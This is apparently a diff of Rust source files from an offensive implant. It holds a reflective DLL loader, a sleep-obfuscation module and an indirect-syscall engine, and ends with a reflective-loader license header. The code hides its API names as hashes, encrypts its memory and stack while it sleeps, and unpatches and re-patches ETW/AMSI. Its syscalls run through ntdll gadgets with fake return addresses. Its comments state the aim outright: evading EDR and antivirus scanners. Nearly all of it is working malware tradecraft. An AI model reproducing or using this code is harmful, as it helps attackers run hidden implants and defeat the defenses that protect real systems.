let export_base = rd_u32(ed, 16) as usize;
let num_funcs = rd_u32(ed, 20) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
if ordinal < export_base as u16 || addr_of_funcs == 0 {
return 0;
}
let idx = ordinal as usize - export_base;
if idx >= num_funcs {
return 0;
}
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
if fn_rva == 0 {
return 0;
}
base + fn_rva
}
// ---- The loader ----
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
/// entry point, or 0 on failure.
#[inline(never)]
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
unsafe {
// STEP 0: locate our own (un-relocated) image base.
let ui_lib = find_image_base(rip_here());
if ui_lib == 0 {
return 0;
}
// STEP 1: resolve the APIs we need by name hash.
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, r(KERNEL32_HASH));
let ntdll = module_base_by_hash(peb, r(NTDLL_HASH));
if k32 == 0 || ntdll == 0 {
return 0;
}
let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH));
let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH));
let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH));
let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH));
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
return 0;
}
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
// Register .pdata so unwinding through our code does not crash. The
// proc-name string is materialized from immediates (no .rodata).
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
// STEP 2: load the image into a fresh permanent location.
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
if lfanew == 0 {
return 0;
}
let opt = ui_lib + lfanew + 4 + 20;
let image_base = rd_u64(opt, 24) as usize;
let size_of_image = rd_u32(opt, 56) as usize;
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
if ui_base == 0 {
return 0;
}
// Copy the headers.
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
// STEP 3: copy all sections.
let coff = ui_lib + lfanew + 4;
let num_sections = rd_u16(coff, 2) as usize;
let opt_size = rd_u16(coff, 16) as usize;
let sec = coff + 20 + opt_size;
let mut si = 0;
while si < num_sections {
let s = sec + si * 40;
let vaddr = rd_u32(s, 12) as usize;
let raw_size = rd_u32(s, 16) as usize;
let raw_ptr = rd_u32(s, 20) as usize;
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
si += 1;
}
// STEP 4: fix up imports.
let dd = opt + 112;
let imp_rva = rd_u32(dd, 8) as usize;
if imp_rva != 0 {
let imp = ui_base + imp_rva;
let mut di = 0;
loop {
let desc = imp + di * 20;
let name_rva = rd_u32(desc, 12);
if name_rva == 0 {
break;
}
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
let oft_rva = rd_u32(desc, 0) as usize;
let ft_rva = rd_u32(desc, 16) as usize;
let mut iat = ui_base + ft_rva;
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
loop {
let thunk = rd_u64(iat, 0);
if thunk == 0 {
break;
}
if oft != 0 && (thunk >> 63) == 1 {
let ordinal = (thunk & 0xFFFF) as u16;
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
} else {
let name_rva2 = (thunk as u32) as usize;
let by_name = ui_base + name_rva2;
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
}
iat += 8;
if oft != 0 {
oft += 8;
}
}
di += 1;
}
}
// STEP 5: apply relocations.
let reloc_dd = dd + 0x28;
let reloc_size = rd_u32(reloc_dd, 4);
if reloc_size != 0 {
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
let delta = ui_base.wrapping_sub(image_base);
let mut r = ui_base + reloc_rva;
loop {
let block_size = rd_u32(r, 4);
if block_size == 0 {
break;
}
let target = ui_base + rd_u32(r, 0) as usize;
let mut count = (block_size as usize - 8) / 2;
let mut e = r + 8;
while count > 0 {
let word = rd_u16(e, 0) as usize;
let typ = (word >> 12) & 0xF;
let off = word & 0xFFF;
// Only DIR64 (10) needs applying; a single comparison is
// used deliberately: a multi-case dispatch lets LLVM emit
// a jump table in `.rodata`, whose RIP-relative address
// would be wrong in the raw copy.
if typ == 10 {
let v = rd_u64(target, off).wrapping_add(delta as u64);
wr_u64(target, off, v);
}
e += 2;
count -= 1;
}
r = r + block_size as usize;
}
}
// STEP 5b: register the exception table (.pdata) with the OS.
let exc_dd = dd + 0x30;
let exc_rva = rd_u32(exc_dd, 0) as usize;
let exc_size = rd_u32(exc_dd, 4) as usize;
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
}
// Flush the instruction cache so relocated code is used.
let _ = f_flush(-1, 0, 0);
// STEP 6: invoke the DLL entry point and return its address.
let entry = ui_base + rd_u32(opt, 16) as usize;
let f_entry: DllMainFn = core::mem::transmute(entry);
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
entry
}
}
@@ -0,0 +1,263 @@
//! Sleep obfuscation and memory encryption for runtime evasion.
//!
//! When the implant is idle (sleeping), we encrypt sensitive memory regions
//! (heap, .data) so memory scanners/dumpers can't find plaintext strings,
//! keys, or configuration. On wake, we decrypt just-in-time.
//!
//! We also *un-patch* the ETW/AMSI code modifications before sleeping and
//! re-apply them on wake: memory-scanning EDRs inspect code sections while a
//! process idles, and a permanently-modified ntdll/amsi prologue is a
//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that.
//!
//! Uses per-build constants from gen.rs plus runtime entropy for the key.
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use core::sync::atomic::{AtomicBool, Ordering};
use crate::abi;
use crate::gen;
use crate::patch;
use crate::syscall;
const MEM_COMMIT: u32 = 0x1000;
const PAGE_READWRITE: u32 = 0x04;
#[repr(C)]
#[derive(Clone, Copy)]
struct MemoryBasicInfo {
base_address: *mut c_void,
allocation_base: *mut c_void,
allocation_protect: u32,
region_size: usize,
state: u32,
protect: u32,
_type: u32,
}
static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false);
static mut SLEEP_KEY: [u8; 32] = [0u8; 32];
/// Initialize the sleep-encryption key from per-build constants + runtime
/// entropy (RDTSC + stack address + tick count).
pub unsafe fn init_sleep_key() {
let mut key = [0u8; 32];
// Build-time constants (unique per artifact).
key[0] ^= gen::K_TOKEN;
key[1] ^= gen::K_VENDOR;
key[2] ^= gen::K_SMBIOS;
key[3] ^= gen::K_ENV;
key[4] ^= gen::K_DISPLAY;
let seed_bytes = gen::GEN_SEED.to_le_bytes();
for i in 0..4 {
key[5 + i] ^= seed_bytes[i];
}
// Runtime entropy.
let mut tsc_lo: u32;
let mut tsc_hi: u32;
asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags));
let sp: usize;
asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags));
let tick = abi::GetTickCount64();
let entropy: [[u8; 8]; 5] = [
(tsc_lo as u64).to_le_bytes(),
(tsc_hi as u64).to_le_bytes(),
(sp as u64).to_le_bytes(),
tick.to_le_bytes(),
((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(),
];
for (i, chunk) in entropy.iter().enumerate() {
for (j, &b) in chunk.iter().enumerate() {
key[(i * 6 + j) % 32] ^= b;
}
}
for i in 0..32 {
ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]);
}
}
/// Keystream byte derived from SLEEP_KEY + position + region base.
#[inline(always)]
unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 {
let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32;
let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32;
let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32;
let mut x = k0
.wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9))
.wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15))
.wrapping_add(k1)
.wrapping_add(k2);
x ^= x >> 13;
x = x.wrapping_mul(0x5D58_85A9);
x ^= x >> 16;
x = x.wrapping_mul(0x85EBCA6B);
x ^= x << 7;
x = x.wrapping_mul(0x9E37_79B9);
(x & 0xFF) as u8
}
/// XOR-encrypt a region in place (symmetric with decrypt).
unsafe fn transform_region(base: *mut u8, size: usize) {
if base.is_null() || size == 0 {
return;
}
for i in 0..size {
let byte = ptr::read_volatile(base.add(i));
ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize));
}
}
/// Should this region be encrypted? Only committed RW data regions — never
/// code (RX), guard pages, or mapped images.
unsafe fn should_transform(info: &MemoryBasicInfo) -> bool {
if info.state != MEM_COMMIT {
return false;
}
info.protect & 0xFF == PAGE_READWRITE
}
/// Change page protection via the runtime-resolved VirtualProtect.
unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option<u32> {
let vp = crate::apires::virtual_protect();
if vp == 0 {
return None;
}
type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32;
let f: VpFn = core::mem::transmute(vp);
let mut old: u32 = 0;
if f(addr, size, prot, &mut old) != 0 {
Some(old)
} else {
None
}
}
/// Encrypt all private RW data regions (heap, .data, .bss).
pub unsafe fn encrypt_memory() {
if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
return;
}
init_sleep_key();
let mut info: MemoryBasicInfo = core::mem::zeroed();
let mut addr: usize = 0;
while addr < usize::MAX - 0x10000 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
transform_region(info.base_address as *mut u8, info.region_size);
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst);
}
/// Decrypt all previously encrypted regions (XOR is symmetric; same pass).
pub unsafe fn decrypt_memory() {
if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
return;
}
let mut info: MemoryBasicInfo = core::mem::zeroed();
let mut addr: usize = 0;
while addr < usize::MAX - 0x10000 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
transform_region(info.base_address as *mut u8, info.region_size);
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst);
}
/// Sleep with memory encryption + patch-evasion:
/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt.
pub unsafe fn secure_sleep(milliseconds: u32) {
encrypt_memory();
// Restore original code bytes so memory scanners see a pristine ntdll/amsi
// while we idle.
patch::suspend_all();
// Negative LARGE_INTEGER = relative timeout, in 100ns units.
let interval: i64 = -((milliseconds as i64) * 10_000);
let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64);
// Re-apply the defense patches.
patch::resume_all();
decrypt_memory();
}
/// Selective encryption for specific sensitive buffers.
pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) {
init_sleep_key();
for &(base, size) in regions {
transform_region(base, size);
}
}
pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) {
for &(base, size) in regions {
transform_region(base, size);
}
}
/// Stack hardening during sleep: encrypt a stack window below current SP so
/// stack scanners / return-address walkers can't resolve call chains.
pub unsafe fn spoof_stack() {
let sp: usize;
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
let offset = gen::STACK_SPOOF_OFF as usize;
let size = 4096usize;
if sp > offset + size {
init_sleep_key();
transform_region((sp - offset - size) as *mut u8, size);
}
}
pub unsafe fn unspoof_stack() {
let sp: usize;
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
let offset = gen::STACK_SPOOF_OFF as usize;
let size = 4096usize;
if sp > offset + size {
transform_region((sp - offset - size) as *mut u8, size);
}
}
@@ -0,0 +1,491 @@
//! Indirect syscall engine (v2) — ntdll-gadget execution.
//!
//! Executing `syscall` inside our own code section is exactly what EDR
//! stack-inspection looks for: a syscall whose return address points outside
//! ntdll. This engine instead:
//!
//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
//! its `ret` at +10 — the privileged instruction executes from ntdll's
//! text section, never from ours.
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
//! address visible on the stack during the syscall points INTO ntdll;
//! a second `ret` gadget there hands control back to our continuation.
//! 4. Falls back to a direct in-place syscall only if every candidate stub
//! is hooked (in which case we are already detected anyway).
//!
//! Per-build variance: which stub hosts the gadgets is selected by
//! `gen::SYSCALL_TRAMP`.
#![allow(unused_assignments)]
use core::arch::asm;
use core::ffi::c_void;
use crate::antihook;
use crate::gen;
// ---------------------------------------------------------------------------
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
// Verified against apires::hash_ascii / hash_wide.
//
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
// tables). `r()` unmasks them at runtime.
// ---------------------------------------------------------------------------
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
/// elsewhere.
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
/// Unmask a stored (scrambled) API hash.
///
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
/// raw value at compile time — the recovery happens at runtime, so the real
/// API-hash constant never appears in the binary.
#[inline(always)]
pub fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
/// Syscall numbers resolved at runtime from ntdll stubs.
#[derive(Clone, Copy)]
pub struct SyscallNumbers {
pub nt_protect_virtual_memory: u16,
pub nt_query_virtual_memory: u16,
pub nt_allocate_virtual_memory: u16,
pub nt_free_virtual_memory: u16,
pub nt_create_thread_ex: u16,
pub nt_query_information_process: u16,
pub nt_set_information_process: u16,
pub nt_query_system_information: u16,
pub nt_read_virtual_memory: u16,
pub nt_write_virtual_memory: u16,
pub ldr_load_dll: u16,
pub nt_delay_execution: u16,
}
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
nt_protect_virtual_memory: 0,
nt_query_virtual_memory: 0,
nt_allocate_virtual_memory: 0,
nt_free_virtual_memory: 0,
nt_create_thread_ex: 0,
nt_query_information_process: 0,
nt_set_information_process: 0,
nt_query_system_information: 0,
nt_read_virtual_memory: 0,
nt_write_virtual_memory: 0,
ldr_load_dll: 0,
nt_delay_execution: 0,
};
// ---------------------------------------------------------------------------
// Gadget discovery
// ---------------------------------------------------------------------------
/// A clean ntdll stub yields two gadget addresses:
/// syscall_gadget = stub + 8 (`0F 05`)
/// ret_gadget = stub + 10 (`C3`)
#[derive(Clone, Copy)]
struct Gadgets {
syscall_gadget: usize,
ret_gadget: usize,
}
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
/// Extract the service number embedded in an ntdll stub.
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
let mut buf = [0u8; 12];
antihook::read_bytes_pub(addr, &mut buf);
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
Some(u16::from_le_bytes([buf[4], buf[5]]))
} else {
None
}
}
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
fn stub_candidates() -> [u32; 5] {
let base = [
r(HASH_NTDELAY_EXECUTION),
r(HASH_NTQUERY_SYSTEM_INFORMATION),
r(HASH_NTWRITE_VIRTUAL_MEMORY),
r(HASH_NTQUERY_INFORMATION_PROCESS),
r(HASH_NTREAD_VIRTUAL_MEMORY),
];
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
let mut out = [0u32; 5];
for i in 0..base.len() {
out[i] = base[(i + rot) % base.len()];
}
out
}
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
pub unsafe fn init_syscall_numbers() {
let ntdll = crate::apires::ntdll_base();
if ntdll == 0 {
return;
}
macro_rules! resolve_num {
($hash:expr, $field:ident) => {
if let Some(addr) = antihook::resolve_export(r($hash)) {
if let Some(n) = stub_syscall_number(addr) {
SYSCALL_NUMS.$field = n;
}
}
};
}
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
for &hash in stub_candidates().iter() {
if let Some(addr) = antihook::resolve_export(hash) {
if addr != 0 && !antihook::is_address_hooked(addr) {
let mut probe = [0u8; 12];
antihook::read_bytes_pub(addr, &mut probe);
// mov r10,rcx | mov eax,imm32 | syscall | ret
if probe[0] == 0x4C
&& probe[1] == 0x8B
&& probe[2] == 0xD1
&& probe[3] == 0xB8
&& probe[8] == 0x0F
&& probe[9] == 0x05
&& probe[10] == 0xC3
{
GADGETS = Gadgets {
syscall_gadget: addr + 8,
ret_gadget: addr + 10,
};
break;
}
}
}
}
}
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
&& SYSCALL_NUMS.nt_delay_execution == 0
{
init_syscall_numbers();
}
&SYSCALL_NUMS
}
#[inline]
unsafe fn gadgets() -> (usize, usize) {
let g = core::ptr::addr_of!(GADGETS).read();
(g.syscall_gadget, g.ret_gadget)
}
// ---------------------------------------------------------------------------
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
//
// Register plan (ABI-safe, Windows x64):
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
// rdi : syscall gadget address (callee-saved => read-only use)
// rsi : ret gadget address (callee-saved => read-only use)
// r12 : syscall number (callee-saved => read-only use)
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
// r11 : internal scratch (volatile, kernel-clobbered anyway)
// eax : NTSTATUS out
//
// Rust forbids referencing explicit-register operands in asm templates, so
// every value enters through a fixed callee-saved register hardcoded in the
// template text. LLVM keeps those values alive until the block consumes them.
//
// Stack contract at `jmp rdi` (syscall gadget):
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
// [rsp+8] = real continuation label
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
// that `ret` pops our continuation. Stack ends balanced.
// ---------------------------------------------------------------------------
/// 4-arg indirect syscall.
#[inline]
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"syscall",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
lateout("rax") status,
out("r11") _,
);
status
}
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
#[inline]
pub unsafe fn sys_indirect6(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x30",
"mov [rsp+0x28], r13",
"mov [rsp+0x30], r14",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x30",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5, in("r14") a6,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x28",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
in("r14") a6,
lateout("rax") status,
out("r11") _,
);
status
}
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
/// kernel-required [rsp+0x28] at syscall time.
#[inline]
pub unsafe fn sys_indirect5(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x28], r13",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x28",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x18",
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x18",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
lateout("rax") status,
out("r11") _,
);
status
}
// ---------------------------------------------------------------------------
// Typed public wrappers
// ---------------------------------------------------------------------------
#[inline]
fn current_process() -> usize {
usize::MAX // (HANDLE)-1 pseudo-handle
}
pub unsafe fn sys_nt_protect_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
new_protect: u32,
old_protect: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
new_protect as usize, 0, old_protect as usize)
}
pub unsafe fn sys_nt_allocate_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
zero_bits: usize,
region_size: *mut usize,
allocation_type: u32,
protect: u32,
) -> i32 {
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
region_size as usize, allocation_type as usize, protect as usize)
}
pub unsafe fn sys_nt_free_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
free_type: u32,
) -> i32 {
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
}
pub unsafe fn sys_nt_query_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
return_len: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_query_information_process as u32;
if num == 0 { return -1; }
sys_indirect5(num, process_handle, info_class as usize, info as usize,
info_len as usize, return_len as usize)
}
pub unsafe fn sys_nt_set_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
) -> i32 {
let num = get_syscall_numbers().nt_set_information_process as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
}
pub unsafe fn sys_nt_query_system_information(
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_system_information as u32;
if num == 0 { return -1; }
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_query_virtual_memory(
process_handle: usize,
base_address: *const c_void,
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
let num = get_syscall_numbers().nt_delay_execution as u32;
if num == 0 { return -1; }
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
}
/// Current-process pseudo-handle helper for external users.
pub fn cur_process() -> usize {
current_process()
}
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
